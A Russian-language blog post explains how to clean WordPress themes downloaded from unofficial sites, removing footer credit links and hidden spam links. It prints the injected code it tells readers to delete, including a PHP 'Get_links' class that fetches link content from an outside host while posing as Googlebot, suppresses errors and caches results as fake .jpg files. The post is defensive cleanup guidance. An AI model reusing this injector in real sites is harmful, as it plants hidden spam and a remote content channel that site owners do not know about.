Как убрать ссылки wordpress. Скрытые ссылки и не только

Всем привет. Если вы качаете темы wordpress на различных сайтах (не с официального источника wordpress), 

то скорее всего у вас появились ссылки на сайте а скоро и появятся скрытые ссылки (вы их не увидите, зато

поисковики их быстро заметят и могут влепить агс).

Я расскажу как убрать ссылки wordpress и проверить свою тему на уязвимости.

Но это ещё пол беды, ведь тот кто выложил тему может получить доступ к теме, а то и не дай бог к админке сайта зная или сделав заранее дыры в теме.

Я вот как раз налетел на такую тему к счастью вроде кроме скрытых ссылок ничего не появилось.  

Я только недавно стал осваивать блогинг и wordpress, но хорошо что быстро заметил всё, поэтому неизвестно что могло быть если бы всё осталось как есть.

Плагин TAC для поиска ссылок, в нашем случае абсолютно бесполезен. 

Как проверить тему WordPress.

Есть прекрасный сайт для проверки тем WordPress и Joomla. Themecheck.org здесь можно проверить тему. 

Он проверяет темы в zip формате, на возможные уязвимости и ошибки.

Для начала скачал тему с одного стороннего сайта который предлагал русские (переведенные темы). Название темы «Kommunity». И вот результат

результать kommunity

 

Результат 0 (тоесть безопасность равна 0). Вот тебе и бесплатный сыр в мышеловке.

Если прокрутить чуть ниже на сайте то будут написаны опасные строки безопасности и не только. 

Сайт на английском, но можно воспользоваться переводчиком в Google chrome если вы им пользуетесь.

Естественно мало удалить строчки, нужно убирать части кода. Я напишу ниже что можно убрать (известные проблемы).

А теперь для сравнения тема с официального WordPress источника, название темы «Relik». результат relik

 

Результат 100% безопасности. Конечно иногда бывает поменьше даже в официальных темах, но всё же на так страшно.

Ещё имеется скрипт для проверки сайта полностью, называется «ai-bolit», но это рассмотрим в другой теме.

Но что делать если вам всё же нужна русская тема, и чтобы быстрее найти на стороннем сайте? А может у вас уже установлена такая тема и вы к ней привыкли и не желаете менять.

Я напишу как убрать ссылки wordpress . 

 

Внимание! Делайте резервные копии файлов которые изменяете. Чтобы в случае если удалите лишнее и перестанет работать вернуть как было. Восстановить файлы или отредактировать можно через файловый менеджер хостинга

Итак. Во первых, уверен у вас появилась ссылка какой либо сайт внизу (в подвале) . 

Чтобы убрать, нужно открыть в редакторе файл footer.php и удалить оттуда ссылку вида 

 

<a href="http://ссылка/">название</a> <?php } ?>

и сохраняем. 

удаление ссылки

Внимание: Возможно тема защищена от удаления этой ссылки, и если вы удалите сайт не будет отображаться. 

В таком случае изменяем файл functions.php.

Находим строчку if (strpos ($c,$l)==0)  и исправляем на if (strpos ($c,$l)==1) .

Теперь можно удалять и ссылку в подвале если ещё это не сделали.

Убираем скрытые ссылки.

А вот теперь как убрать скрытые ссылки wordpress или как предотвратить их появление. 

Я совсем случайно один раз обнаружил у себя скрытую ссылку через один сервис, понял что срочно нужно исправлять. Иначе за такое можно словить и АГС (яндексу всеравно вы продаете ссылки или кто то за вас их размещает и получает деньги).

Чтобы убрать ссылки wordpress нужно редактировать файл comments.php (именно в комментариях я замечал скрытые ссылки).

Открываем файл и удаляем оттуда следующие строки :

 

<?php $lib_path = dirname (__FILE__).'/'; require_once ('functions.php'); $links = new Get_links (); $links
= $links->get_remote (); echo $links; ?><?php if ( post_password_required () ) return; ?>

Существующие скрытые ссылки пропадут и больше не появятся. Но это ещё не всё.

Следующий шаг: редактируем файл functions.php.

Отсюда нужно удалить достаточно крупную часть кода. Может отличаться от вашего, но всё же похожи будут.

error_reporting ('^ E_ALL ^ E_NOTICE');
ini_set ('display_errors', '0');
error_reporting (E_ALL);
ini_set ('display_errors', '0');
class Get_links {

var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;

function get_remote () {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode ($_SERVER['REQUEST_URI']);
$_user_agent = «Mozilla/5.0 (compatible; Googlebot/2.1; „.$req_url.“)»;

$links_class = new Get_links ();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;

@ini_set ('allow_url_fopen', 1);
@ini_set ('default_socket_timeout', $_socket_timeout);
@ini_set ('user_agent', $_user_agent);

if (function_exists ('file_get_contents')) {
$opts = array (
'http'=>array (
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
«User-Agent: {$_user_agent}\r\n»
)
);
$context = stream_context_create ($opts);

$data = @file_get_contents ('http://' . $host . $path, false, $context);
preg_match ('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}

function return_links ($lib_path) {
$links_class = new Get_links ();
$file = ABSPATH.'wp-content/uploads/2011/'.md5 ($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;

if (!file_exists ($file))
{
@touch ($file, time ());
$data = $links_class->get_remote ();
file_put_contents ($file, $data);
return $data;
} elseif ( time () -filemtime ($file) > $_cache_lifetime || filesize ($file) == 0) {
@touch ($file, time ());
$data = $links_class->get_remote ();
file_put_contents ($file, $data);
return $data;
} else {
$data = file_get_contents ($file);
return $data;
}
}
}

Вот собственно и всё, мы рассмотрели как удалить ссылку wordpress. На всякий случай, архивируем уже редактированную тему в zip формат и проверяем потом её.

Как говорят, если вы качаете плагины со сторонних сайтов так же высока вероятность встретить какую либо заразу, так что старайтесь обойтись бесплатными плагинами либо покупайте у разработчиков если возможно.

Берегите себя.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *